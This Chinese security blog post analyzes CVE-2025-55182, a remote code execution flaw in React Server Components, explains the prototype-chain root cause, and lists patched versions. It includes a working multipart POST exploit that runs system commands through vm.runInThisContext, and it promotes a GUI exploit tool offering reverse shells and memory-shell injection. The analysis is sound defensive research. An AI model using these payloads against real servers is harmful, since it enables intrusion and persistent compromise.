文章总结: 这篇文章深度剖析了ReactServerComponents安全漏洞CVE-2025-55182的原理,该漏洞影响React19.x多个版本,允许攻击者通过不安全的反序列化和原型属性访问实现远程代码执行。文章详细解释了JavaScript原型链机制,分析了requireModule函数的实现缺陷,提供了漏洞复现步骤,并介绍了一款图形化利用工具。最后给出了升级到安全版本的修复建议,帮助开发者防范这一高危漏洞。
综合评分: 96
文章分类: 漏洞分析,WEB安全,漏洞POC,安全工具,漏洞预警
深度剖析:React Server Components安全漏洞CVE-2025-55182
原创
千里
东方隐侠安全团队
2025年12月9日 20:31
江苏
关于React Server Components安全漏洞(CVE-2025-55182),我们前面已经发过两篇文章了,但都是在谈怎么复现,没有对漏洞的本质进行分析,不太符合隐侠的风格哈哈。一般不喜欢蹭漏洞的热度,既然蹭了就认真蹭下。
这篇文章,将为大家剖析React Server Components安全漏洞CVE-2025-55182的原理,并在文末分享由隐侠团队成员DarkFi5开发的漏洞利用工具。
01
漏洞概述与核心影响
React服务器组件19.0.0、19.1.0、19.1.1和19.2.0版本中存在一个预认证远程代码执行漏洞,涉及以下包:react-server-dom-parcel、react-server-dom-turbopack和react-server-dom-webpack。该漏洞代码会不安全地将HTTP请求中的有效载荷反序列化到服务器函数端点。
• 漏洞编号 :CVE-2025-55182
• 危险等级 : 高危/严重 (CVSS 10.0 Critical)
• 影响版本 :react-server-dom-parcel、react-server-dom-turbopack和react-server-dom-webpack的 19.0.0,19.1.0,19.1.1,和19.2.0 版本。
• 根本原因 :该漏洞涉及不安全地将HTTP请求中的有效载荷 反序列化 到服务器函数端点。其本质是不安全的反序列化(Insecure Deserialization)和敏感原型属性访问。
• 攻击方式 :通过精心构造的POST请求 ,在服务器上执行任意代码。
影响生态情况如下,这些项目因依赖Next.js而受影响:
-
dify (120630 star): 版本区间 [0.4.5, 1.10.1-fix.1)
-
lobe-chat (68584 star): 版本区间 [0.101.5, 1.143.2)
-
NextChat (86599 star): 版本区间 [2.12.3, *)
-
umami (33953 star): 版本区间 [2.15.0, 3.0.2)
-
sim (18680 star): 版本区间 [0.2.1, 0.5.17)
-
nextra (13422 star): 版本区间 [3.0.15, 4.6.1)
-
payloadcms (39226 star): 版本区间 [3.0.0, 3.66.0)
02
背景知识:JavaScript原型链与属性访问
为了理解此漏洞,我们必须首先熟悉JavaScript引擎处理对象属性的核心机制。这是攻击者能够调用危险函数的基础
在JavaScript中,对象属性分为两类:
- 自有属性(Own Properties):对象实例直接拥有的属性。
- 原型属性(Inherited Properties):从原型链(Prototype Chain)继承而来的属性。
当代码尝试访问obj[key]时,引擎遵循以下查找逻辑:
- 检查
obj是否直接包含key(自有属性)。如果有,直接返回。 - 如果没有,则沿着
__proto__向上遍历原型链。 - 如果在原型链的某个节点找到了
key,则返回该值。 - 如果直到
Object.prototype也没找到,才返回undefined。
// 定义一个简单对象
const obj = { a: 1 };
// 访问自有属性
console.log(obj.a); // 1 (自有属性)
// 访问原型属性
console.log(obj.toString); // [Function: toString] (继承自Object.prototype)
// 访问不存在的属性
console.log(obj.b); // undefined
所有JavaScript函数(Function)本身也是对象。它们继承自Function.prototype,因此拥有一个名为constructor的属性,指向Function构造函数本身。
// 定义一个函数
const func = function() {};
// 函数对象的属性访问
console.log(func.name); // "func" (自有属性)
console.log(func.length); // 0 (自有属性,参数个数)
console.log(func.constructor); // [Function: Function] (继承自Function.prototype)
console.log(func.toString); // [Function: toString] (继承自Function.prototype)
// 构造函数链
console.log(func.constructor.name); // "Function"
console.log(func.constructor.constructor.name); // "Function" (Function自引用)
攻击的关键点:Function构造函数极其危险,因为它允许通过字符串动态创建并执行代码,类似于eval。
// Function构造函数可执行代码
const evilCode = 'console.log("RCE executed!")';
const evilFunc = func.constructor(evilCode);
evilFunc(); // 输出:"RCE executed!"
那么,怎么解决这个问题呢?Object.prototype.hasOwnProperty是JavaScript对象的一个方法,用于限制代码执行时,仅检查对象的自有属性,忽略原型链继承的属性。
// 使用hasOwnProperty检查
console.log(Object.prototype.hasOwnProperty.call(obj, 'a')); // true (自有属性)
console.log(Object.prototype.hasOwnProperty.call(obj, 'toString')); // false (原型属性)
如果程序允许用户控制访问的属性名,且未做hasOwnProperty检查,攻击者就可以传入字符串”constructor”,从而获取到危险的Function构造函数并执行。
总的来说,当使用用户可控的属性名访问对象时,缺少hasOwnProperty检查会导致如下风险:
- 原型链遍历:攻击者可访问原型链上的任意属性
- 原型污染:攻击者可修改原型链,影响所有实例
- 敏感属性访问:攻击者可获取危险的原型属性(如constructor)
- 绕过安全检查:攻击者可通过原型属性绕过对象属性检查
原型链污染风险:
// 危险代码:缺少hasOwnProperty检查
function merge(target, source) {
for (const key in source) {
target[key] = source[key]; // 危险:直接赋值,包括__proto__
}
return target;
}
// 攻击者构造的恶意输入
const maliciousInput = {
__proto__: {
evil: 'RCE'
}
};
// 执行合并
const result = merge({}, maliciousInput);
// 原型链被污染!
console.log({}.evil); // "RCE"(所有空对象都被污染)
敏感原型属性访问风险:
// 危险代码:缺少hasOwnProperty检查
function getProperty(obj, key) {
return obj[key]; // 危险:会访问原型链
}
// 攻击者输入
const userKey = 'constructor';
const obj = { a: 1 }; // 普通对象
// 执行
const result = getProperty(obj, userKey);
console.log(result); // Function构造函数!
// 利用Function构造函数执行恶意代码
const evilFunc = result('return process.mainModule.require("child_process").execSync("whoami")');
console.log(evilFunc()); // 执行RCE!
03
漏洞原理:React中的requireModule
React Server Components使用requireModule函数从模块导出中获取特定的属性。漏洞就出在这个函数的实现上。
在受影响的版本中,requireModule的实现逻辑如下:
// requireModule函数:从模块导出中获取指定属性
// 参数metadata格式:[moduleId, chunks, exportName]
// - moduleId:要加载的模块ID,格式为moduleId#exportName
// - chunks:依赖的代码块(暂时忽略)
// - exportName:要获取的导出属性名
function requireModule(metadata) {
// 步骤1:加载模块,获取模块导出内容
const moduleExports = __webpack_require__(metadata[0]);
// 步骤2:根据exportName获取对应导出
if (metadata[2] === '*') {
return moduleExports; // 如果exportName是"*",返回整个模块导出
} elseif (metadata[2] === '') {
// 如果exportName为空,返回默认导出(暂时忽略)
// ...
} else {
// 漏洞点:直接使用exportName访问属性,没有检查是否为自有属性
return moduleExports[metadata[2]];
}
}
但是因为metadata[2](即exportName)是用户可控时,缺少hasOwnProperty检查会导致:
- 攻击者可指定任意属性名,包括原型链上的敏感属性
- 当模块导出是函数时,可通过constructor访问Function构造函数
- Function构造函数可执行任意代码,实现RCE
// 正常情况下的metadata
const normalMetadata = [
"serverAction", // moduleId:要加载的模块ID
[], // chunks:依赖块(空数组)
"" // exportName:空字符串,获取默认导出
];
// 调用requireModule
const result = requireModule(normalMetadata);
console.log(result); // 输出:[AsyncFunction: serverAction](正常获取到函数)
因为metadata[2](即exportName)是用户可控时,缺少hasOwnProperty检查会导致:
- 攻击者可指定任意属性名,包括原型链上的敏感属性
- 当模块导出是函数时,可通过constructor访问Function构造函数
- Function构造函数可执行任意代码,实现RCE
因此,攻击者的目标是
1.构造一个恶意请求,让requireModule返回Function构造函数
2.使用Function构造函数执行任意代码(如系统命令)
requireModule漏洞的完整利用流程:
步骤1:攻击者构造恶意请求
攻击者发送一个 POST 请求,其中包含特定的ID格式和 bound 参数:
// 攻击者发送的HTTP请求内容
const maliciousRequest = {
// id格式:moduleId#exportName
// moduleId:"serverAction"(正常模块)
// exportName:"constructor"(恶意部分,指向原型链上的构造函数)
"id": "serverAction#constructor",
// bound:要绑定到函数的参数(稍后会作为函数体执行)
"bound": ["process.mainModule.require('child_process').execSync('whoami').toString()"]
};
步骤2:服务器解析请求
服务器接收到请求后,decodeAction调用resolveServerReference解析ID:
// resolveServerReference函数:解析id字符串
function resolveServerReference(bundlerConfig, id) {
// 查找id中"#"的位置(用于分隔moduleId和exportName)
const idx = id.lastIndexOf("#");
// 如果找到了
if (idx !== -1) {
// 提取exportName:"#"后面的部分(这里是constructor)
const exportName = id.slice(idx + 1);
// 提取moduleId:"#"前面的部分(这里是"serverAction")
const moduleId = id.slice(0, idx);
// 从配置中获取模块信息
const resolvedModuleData = bundlerConfig[moduleId];
// 返回解析结果,用于调用requireModule
return [resolvedModuleData.id, resolvedModuleData.chunks, exportName];
}
}
// 执行解析,得到恶意metadata
const maliciousMetadata = resolveServerReference(bundlerConfig, maliciousRequest.id);
// maliciousMetadata结果:["serverAction", [], "constructor"]
此时,id被拆解为:
moduleId = “serverAction”
exportName = “constructor” // 这里提取出了攻击者指定的属性名
步骤3:调用requireModule
// 调用requireModule,传入恶意metadata
const result = requireModule(maliciousMetadata);
// requireModule内部执行流程:
// 加载模块:const moduleExports = __webpack_require__("serverAction")
// 结果:moduleExports = [AsyncFunction: serverAction](一个函数对象)
// 执行moduleExports[metadata[2]](即moduleExports["constructor"])
// 这里是漏洞核心:没有检查"constructor"是否为moduleExports的自有属性
// 因为moduleExports是函数对象,JS会沿原型链查找"constructor"属性
// 最终找到:Function构造函数
// result的最终值:Function构造函数
console.log(result); // 输出:[Function: Function]
React运行时调用有漏洞的requireModule:
- webpack_require(“serverAction”)加载模块,得到一个函数对象 serverActionFn。
- 执行serverActionFn[“constructor”]。
- 结果: 返回了JavaScript的全局Function构造函数。
步骤4:利用Function构造函数执行恶意代码
// 1. Function构造函数的作用:创建新的函数
// - 语法:new Function(arg1, arg2, ..., functionBody)
// - 最后一个参数是函数体,前面的是函数参数
// 2. 攻击者的bound参数:"process.mainModule.require('child_process').execSync('whoami').toString()"
// - 这是要执行的恶意代码字符串
// 3. 使用result(Function构造函数)创建恶意函数
const evilFunction = result(maliciousRequest.bound[0]);
// 相当于:new Function("process.mainModule.require('child_process').execSync('whoami').toString()")
// 结果:创建了一个函数,函数体是恶意代码
// 4. 执行恶意函数
const rceResult = evilFunction();
// 执行结果:evilFunction()会运行函数体内的恶意代码
// 1) 调用process.mainModule.require('child_process')获取子进程模块
// 2) 调用execSync('whoami')执行系统命令"whoami"
// 3) 调用toString()将结果转为字符串
// 4) 返回执行结果
// 5. 输出RCE结果
console.log(rceResult); // 输出:当前系统用户名(如"root"或"user")
React随后会将解析出的“函数”(即 Function 构造函数)与payload中的 bound 参数结合并执行:
// 相当于执行:const evilFn = new Function("process.mainModule.require('child_process').execSync('whoami')");
evilFn(); // 执行系统命令
完整流程图:
攻击者构造请求
↓
发送POST请求:id="serverAction#constructor"
↓
服务器解析请求
↓
resolveServerReference返回:["serverAction", [], "constructor"]
↓
调用requireModule
↓
加载模块:moduleExports = asyncfunction serverAction() {}
↓
访问属性:moduleExports["constructor"]
↓
JS查找原型链:
1. 检查serverAction自有属性 → 没有constructor
2. 检查AsyncFunction.prototype → 找到constructor = AsyncFunction
3. 返回AsyncFunction
↓
AsyncFunction.constructor = Function
↓
使用Function构造函数执行恶意代码
↓
调用child_process.execSync('whoami')
↓
返回执行结果:当前系统用户名
↓
RCE成功!
04
漏洞复现
环境搭建:https://github.com/ejpir/CVE-2025-55182-research
npm install
npm start
访问127.0.0.1:3002
POST /formaction HTTP/1.1
Host: localhost:3002
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
步骤1:请求到达服务器
• HTTP POST请求发送到 /formaction 端点
• 服务器识别这是一个Server Action请求,开始处理
步骤2:decodeAction解析请求
decodeAction(formData, serverManifest)
↓
decodeBoundActionMetaData(body, serverManifest, formFieldPrefix)
↓
loadServerReference(serverManifest, value.id, value.bound)
步骤3:loadServerReference解析ID
解析 id: “vm#runInThisContext” :
○ 模块名: vm (Node.js内置的vm模块)
○ 导出名: runInThisContext (vm模块的方法,用于执行JavaScript代码)
步骤4:resolveServerReference查找模块
function resolveServerReference(bundlerConfig, id) {
const idx = id.lastIndexOf("#");
if (idx !== -1) {
const name = id.slice(idx + 1); // "runInThisContext"
const moduleId = id.slice(0, idx); // "vm"
// 从serverManifest中查找vm模块的配置
const resolvedModuleData = bundlerConfig[moduleId];
return [resolvedModuleData.id, resolvedModuleData.chunks,
name];
}
}
步骤5:requireModule执行(漏洞核心)
function requireModule(metadata) {
const moduleExports = __webpack_require__(metadata[0]); // 加载vm
模块
// 漏洞点:直接使用metadata[2]访问属性,没有hasOwnProperty检查
// 这里metadata[2] = "runInThisContext"
return moduleExports[metadata[2]]; // 返回vm.runInThisContext方法
}
步骤6:执行恶意代码
调用 vm.runInThisContext 方法,传入 bound 数组中的JavaScript代码:
global.process.mainModule.require("child_process").execSync
("whoami").toString()
这段代码的执行过程:
- global.process :获取全局process对象
- process.mainModule :获取主模块
- require(“childprocess”) :加载childprocess模块
- execSync(“whoami”) :执行系统命令”whoami”
- toString() :将结果转换为字符串
步骤7:返回执行结果
命令执行结果”user\n”被返回给客户端
响应格式: {“success”:true,”result”:”user\n”,”fnName”:”bound bound runInThisContext”}
05
漏洞利用工具
这里向各位少侠分享隐侠团队DarkFi5的漏洞利用项目:
https://github.com/darkfiv/ReactExploitGUI
工具简介
ReactExploitGUI 是一款针对 CVE-2025-55182 漏洞的图形化利用平台,该漏洞是 React Server Components 中的一个高危远程代码执行漏洞,CVSS 评分高达 10.0(最高级别)。这款工具提供了直观的界面,集成了漏洞探测、命令执行、内存马注入和反弹 Shell 等功能,采用统一的 Payload 格式并支持自动 Base64 编解码,方便安全研究人员进行漏洞验证和分析。
系统要求
操作系统:Windows / macOS
macOS 架构:目前仅支持 ARM64 架构
安装步骤
- 解压工具包到任意目录
2. 直接运行可执行文件:
Windows:双击 ReactExploitGui.exe 执行
macOS:
chmod +x ReactExploitGui_arm_macos ./ReactExploitGui_arm_macos
使用方法
- 漏洞探测
功能说明:支持对多个目标进行批量探测,自动检测目标系统类型(Linux/Windows),并显示详细的探测结果。
操作步骤:
- 在”目标URL”输入框中输入要探测的目标(每行一个,支持多目标)
2. 可选:设置请求路径(默认使用根目录 /)
3. 点击”🔍 开始探测”按钮
4. 查看探测结果和详细信息
- 命令执行(RCE)
功能说明:利用漏洞在目标系统上执行命令,支持 Linux 和 Windows 系统,自动检测目标操作系统类型。
操作步骤:
- 输入目标 URL
2. 选择目标系统类型(或使用自动检测)
3. 输入要执行的命令
4. 点击执行按钮
5. 查看命令执行结果
- 内存马注入
功能说明:向目标系统注入内存马,实现持久化访问。
- 反弹 Shell
功能说明:通过漏洞建立反弹 Shell 连接,获得目标系统的交互式访问权限。
- 输入目标URL
- 输入反弹Shell的IP地址和端口
- 选择目标操作系统
- (可选)输入自定义反弹Shell命令(使用
{ip}和{port}作为占位符) - 点击”📋 参考命令”查看常用命令示例
- 点击”🐚 注入反弹Shell”按钮
- 在监听端启动nc监听:
nc -lvp 端口
安全提示
-合法授权:使用本工具前,请确保已获得目标系统的合法授权,严格遵守《网络安全法》及相关法规。
-仅用于研究:本工具仅用于安全研究和漏洞验证,请勿用于未授权的渗透测试或恶意攻击。
-风险自负:使用本工具产生的所有后果由使用者自行承担。
注意事项
- 本工具仅针对 CVE-2025-55182 漏洞设计,请勿用于其他漏洞的测试
2. macOS 版本目前仅支持 ARM64 架构,Intel 架构的 macOS 系统暂不支持
3. 在使用反弹 Shell 功能时,请确保本地监听端口已正确配置
4. 批量探测功能可能会产生大量网络请求,请合理设置探测频率,避免对目标系统造成过大负载
06
修复与防御
升级到安全版本
安全版本
React >= 19.0.1
React >= 19.1.2
React >= 19.2.1
React DOM >= 19.0.1
React DOM >= 19.1.2
React DOM >= 19.2.1
react-server-dom-parcel (npm) >= 19.0.1
react-server-dom-parcel (npm) >= 19.1.2
react-server-dom-parcel (npm) >= 19.2.1
react-server-dom-turbopack (npm) >= 19.0.1
react-server-dom-turbopack (npm) >= 19.1.2
react-server-dom-turbopack (npm) >= 19.2.1
react-server-dom-webpack (npm) >= 19.0.1
react-server-dom-webpack (npm) >= 19.1.2
react-server-dom-webpack (npm) >= 19.2.1
Next.js >= 15.0.5
Next.js >= 15.1.9
Next.js >= 15.2.6
Next.js >= 15.3.6
Next.js >= 15.4.8
Next.js >= 15.5.7
Next.js >= 16.0.7
修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,升级至安全版本
(1) 针对 Next.js 用户: 所有用户都应升级到其版本系列中的最新补丁版本:
npm install [email protected] //针对 15.0.x
npm install [email protected] //针对 15.1.x
npm install [email protected] //针对 15.2.x
npm install [email protected] //针对 15.3.x
npm install [email protected] //针对 15.4.x
npm install [email protected] //针对 15.5.x
npm install [email protected] //针对 16.0.x
(2) 如果您使用的是 Next.js 14.3.0-canary.77 或更高版本的 canary 版本,请降级到最新的稳定版 14.x:
npm install next@14
更多信息请参阅 Next.js 更新日志:
https://nextjs.org/blog/CVE-2025-66478
(3) 针对 React Router 用户:
如果您使用的是 React Router 不稳定的 RSC API,则应升级 package.json 文件中存在的以下依赖项:
npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest
(4) 针对 Expo 用户:
升级到最新版本 react-server-dom-webpack:
npm install react@latest react-dom@latest react-server-dom-webpack@latest
(5) 针对 Redwood SDK 用户:
请确保您使用的是 rwsdk 版本 >= 1.0.0-alpha.0
npm install rwsdk@latest
升级到最新版本 react-server-dom-webpack:
npm install react@latest react-dom@latest react-server-dom-webpack@latest
具体请参阅 Redwood 文档:
https://docs.rwsdk.com/migrating/
(6) 针对 Waku 用户:
升级到最新版本 react-server-dom-webpack:
npm install react@latest react-dom@latest react-server-dom-webpack@latest
(7) 针对 RSC 插件 @vitejs/plugin-rsc 用户:
升级到最新版 RSC 插件:
npm install react@latest react-dom@latest @vitejs/plugin-rsc@latest
(8) 针对 react-server-dom-parcel 用户:
更新至最新版本:
npm install react@latest react-dom@latest react-server-dom-parcel@latest
(9) 针对 react-server-dom-turbopack 用户:
更新至最新版本:
npm install react@latest react-dom@latest react-server-dom-turbopack@latest
(10) 针对 react-server-dom-webpack 用户:
更新至最新版本:
npm install react@latest react-dom@latest react-server-dom-webpack@latest
关注东方隐侠安全团队 一起打造网安江湖
东方隐侠安全团队,一支专业的网络安全团队,将持续为您分享红蓝对抗、病毒研究、安全运营、应急响应、AI安全、区块链安全等网络安全知识,提供一流网络安全服务,敬请关注!
公众号|东方隐侠安全团队
隐侠安全客栈|限时年费5元
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:东方隐侠安全团队 千里《深度剖析:React Server Components安全漏洞CVE-2025-55182》